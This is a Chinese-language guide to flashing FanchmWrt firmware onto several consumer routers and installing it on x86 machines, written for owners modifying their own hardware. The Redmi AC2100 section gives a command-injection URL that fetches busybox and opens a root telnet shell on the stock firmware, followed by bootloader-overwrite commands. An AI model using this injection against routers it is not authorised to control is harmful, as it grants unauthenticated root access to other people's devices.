• FanchmWrt

    • 新手入门
    • 安装教程
    • 插件安装
    • X86设备如何扩容

安装教程

JCG Q30 Pro

刷机包下载

JCG Q30 Pro刷机包下载

刷机步骤

下载刷机包

安装路由器

电脑网线连接路由器,根据设置向导完成路由器的安装

升级中间固件

在刷机包中,提供了中间固件,升级后会自动替换uboot,方便后续刷机。 中间固件名称为:
jcg-q30-pro-squashfs-sysupgrade.bin

进入不死uboot

升级大概2分钟,2分钟后长按reset复位按键不松,然后拔插电源,等待10秒左右松开, 这样会自动进入不死uboot模式,可以升级第三方固件。

修改IP地址

由于uboot模式下不提供DHCP服务,需要手动设置电脑的IP为192.168.1.2,子网掩码为255.255.255.0,其他的不用设置

升级FanchmWrt固件

浏览器访问192.168.1.1,这样可以进入不死uboot web界面。 选择刷机包中的factory固件进行升级即可,完整固件名称为:

fanchmwrt24.10.4-1.0.1-mediatek-filogic-jcg_q30-pro-stock-squashfs-factory.bin

进入新系统

等系统启动完成后,再次访问192.168.1.1,可以看到新系统的登录界面 用户名: root
密码: password
登录后也可以再次升级sysupgrade.bin固件,可以通过FanchmWrt官网下载最新版本。

Cudy TR3000

Cudy TR3000刷机比较简单,只需要通过两次页面升级即可,但由于厂家更换过两次硬件,导致固件不能通刷,分为128M和256M闪存版本,其中128M版本又包含了新批次,2025年11月(第44周)开始生产的设备为新版Flash,无法和老版本128M版本固件互刷,所以中间固件也存在区别,在选择刷机包的时候要注意区分。

如何区分版本?

  • 区分128M闪存和256M闪存
    如果包装中没有明确标识256M大闪存则为128M版本
  • 区分是否为新版Flash(2544)
    SN中TR3000后面的4位表示生产日期,表示哪年的第几周,比如2544表示25年的44周,如果数字大于2544,则表示是新版本Flash,按理官方不会再使用旧版Flash,以下为官方的更新记录原文:

Firmware upgrade restriction has been added. Cudy's TR3000 1.0 manufactured starting in November 2025 (SN code 2544 (44th week in 2025 or later) uses the new Flash F50L1G41LC. Upgrading to older versions of OpenWrt intermediate firmware or OpenWrt firmware will prevent booting. Therefore, a firmware restriction has been added: if the device is detected to be using the new Flash, upgrades to older firmware versions 2.3.X and earlier will not be possible. Additionally, upgrades to previously provided OpenWrt intermediate firmware for older Flash versions will not be supported. We have released new OpenWrt intermediate firmware and are wait for the new OpenWrt fiirmware for new Flash version.

刷机包下载

Cudy TR3000 128M

Cudy Tr3000 128M刷机包下载

Cudy TR3000 128M 2544

Cudy Tr3000 128M 2544新版flash刷机包下载

Cudy TR3000 256M

Cudy Tr3000 256M刷机包下载

Cudy TR3000通用刷机教程

刷机步骤

  1. 下载刷机包
    在上方地址下载刷机包,里面包含了中间固件和FanchmWrt固件。

  2. 安装路由器
    根据路由器的说明书,首次配置路由器,进入路由器的管理界面。

  3. 升级中间固件
    刷机包中包含中间固件文件夹,里面的为中间固件,在路由器界面中选择该中间固件升级,注意一定要升级对应版本的中间固件,否则会导致无法启动。 升级完成后电脑重新获取下IP地址,然后浏览器访问192.168.1.1进入中间系统,该系统可以升级其他固件。

  4. 升级FanchmWrt固件
    在刷机包根目录包含了FanchmWrt固件,进入中间固件的管理界面,选择该固件升级即可。

  5. 后续升级新版本
    如果后面FanchmWrt有新版本发布,可以下载对应的sysupgrade.bin固件升级,文件名称和刷机包中的类似,是指版本号不一样 128M的版本是通用版本,支持所有128M版本的设备,选择固件只用区分是否是256M的版本。

注意
不建议大家去更换uboot,以上为最精简的教程,保留官方的uboot即使刷机变砖也有办法恢复。

红米AC2100

刷机包下载

红米AC2100刷机包下载

刷机步骤

关闭防火墙

我的电脑右键属性-控制面板主页-Windows Defender 防火墙-启用或关闭 Windows Defender 防火墙-选择关闭防火墙(两个都关了)

开启telnet客户端功能

如果没有安装telnet工具,可以在windows中开启telnet客户端功能
telnet工具有putty、xshell等

安装路由器

根据说明书完成路由器的安装,进入管理界面

升级旧版本固件

刷机包中有旧版本固件,支持刷机,可以通过管理界面升级该固件,估计名称为
miwifi_rm2100_firmware_d6234_2.0.7.bin

开启tftp服务

在刷机包中找到tftpd64.exe程序并双击运行

获取登录的token

升级成功后登录路由器管理界面,可以在浏览器地址栏中看到token,token位于stok=后面,遇到/结束 比如stok=$token/web,其中$token就是我们需要的token,复制这个token,假设为aaaabbbbccccdddd, 后面用该值做示例,大家根据自己实际的token替换aaaabbbbccccdddd

制作请求链接

将上方获取的token替换$token,还有电脑网卡对应的IP地址,$pc_ip

http://192.168.31.1/cgi-bin/luci/;stok=$token/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Atftp%20-gr%20busybox%20$pc_ip%0Achmod%20777%20busybox%0A.%2Fbusybox%20telnetd%20-l%20%2Fbin%2Fsh%20%26%0A

比如token为aaaabbbbccccdddd,pc_ip为192.168.31.100 则链接为

http://192.168.31.1/cgi-bin/luci/;stok=aaaabbbbccccdddd/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Atftp%20-gr%20busybox%20192.168.31.100%0Achmod%20777%20busybox%0A.%2Fbusybox%20telnetd%20-l%20%2Fbin%2Fsh%20%26%0A

制作好后复制最终链接

开启路由器telnet服务

将上方的链接粘贴到当前浏览器地址栏请求,这样会自动下载刷机包目录的相关文件,然后开启telnet服务

telnet访问路由器

按win+r,输入cmd进入命令行终端,输入telnet 192.168.31.1访问telnet服务查看是否能够正常访问

刷入uboot

如果进入了telnet控制台,则开始进行刷机

一次复制一行,粘贴在命令行终端中运行(前面两条命令会比较慢,耐心等待)

注意需要将ip(192.168.31.100)修改为自己电脑网卡的ip地址,当然也可以是其他IP地址,对应的命令中也修改为电脑的IP即可

  1. 进入tmp目录
cd tmp
  1. 下载uboot文件
tftp -gr breed-mt7621-xiaomi-r3g.bin 192.168.31.100     

可以观察tftp服务器有没有文件传输响应,如果没有请检查防火墙和tftp服务器是否正常开启,确认好后再执行下面的刷机命令。 注意红米AC2100是共用r3g的breed,名称是r3g的。

  1. 刷入uboot
mtd  write  breed-mt7621-xiaomi-r3g.bin Bootloader

进入不死uboot

成功后拔掉电源
长按住reset键,不要松,然后接入电源,大概10s左右后松开reset键, 注意要橙色灯快速闪烁。

通过浏览器访问192.168.1.1,进入breed boot界面,电脑需要设置192.168.1.x网段的IP,比如 192.168.1.2

进入了breed就可以随便更换系统了

由于breed uboot默认不能启动openwrt固件,需要设置一个环境变量
环境变量: xiaomi.r3g.bootfw 设置为2 点击环境变量编辑,添加一个环境变量,设置值为2即可

升级kernel固件

在刷机包中有一个initramfs-kernel固件,这是只读文件系统固件,在breed中只支持该类型的固件,该固件是一个中间固件 文件名称为:

fanchmwrt24.10.4-1.0.1-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin

选择升级后等系统启动完成

升级sysupgrade最终固件

系统启动后,浏览器访问192.168.1.1可以看到成功升级了FanchnWrt固件,但此时还只是中间固件,无法保存配置
登录后进入系统升级界面选择sysupgrade.bin固件升级
登录信息为:
用户名: root
密码: password
文件名称:

fanchmwrt24.10.4-1.0.1-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin

X86安装

固件格式说明

  • vmdk文件
    vmware虚拟机磁盘格式,支持直接导入磁盘进行安装,非常方便。

  • img.gz文件
    镜像压缩文件,同时也是web界面升级固件,首次安装成功后,可以在FanchmWrt的web界面选择该文件直接升级,无需再次写盘安装。

  • img文件
    img文件就是系统原始镜像,通过img.gz文件解压缩可以得到img文件,将img文件直接刷入磁盘即可完成系统的安装,当然也可以通过工具将img文件转换成其他格式,比如vmdk、qcow2、vhdx等,常用的转换工具有starwind-v2v-converter、qemu。

虚拟机安装

如果没有现成的路由器设备,可以通过虚拟机安装体验,行为管理功能支持旁路模式。
目前提供了vmdk虚拟磁盘,可以在vmware中直接导入即可,如果是其他虚拟机,可以通过磁盘格式转换进行安装。
虚拟机安装系统教程网上有很多,这里就不详细介绍了。

如何使用?

在虚拟机中,一般只分配一个网卡,只能做旁路部署,FanchmWrt首次启动会检查网卡个数,如果只有一个网卡,会自动开启dhcp模式,会自动配置一个IP地址,并设置为旁路模式。
可以通过该IP直接管理,不用再修改网络。

旁路模式如何实现行为管理?

如果只有一个网卡,系统已经完成了自动旁路模式配置,设备默认就可以连接外网(前提是网关可以上网),当然如果你想要固定设备的IP地址,可以进入LAN设置修改为静态IP,设置网关和DNS,保证系统状态中的联网状态为已联网。
设置好网络后,将工作模式修改为旁路模式。

为了将手机终端流量导入到旁路由联网,需要手动修改手机的IP、网关和DNS,注意手机网关要设置为FanchmWrt设备的IP地址,手机IP地址为同网段IP,保证不冲突即可,DNS一般为上级网关IP,不清楚就填写公网的DNS,比如8.8.8.8或114.114.114.114。
当然你也可以修改DHCP服务器实现默认网关的修改,这里不再详细讲解。

设置成功后,在FanchmWrt中就可以看到终端信息了,可以针对终端设置过滤规则,比如应用过滤、MAC过滤等。

物理机安装

物理机安装的核心原理就是将img写入到磁盘,参考网上的OpenWrt系统刷机教程,教程非常多。

Prev
新手入门
Next
插件安装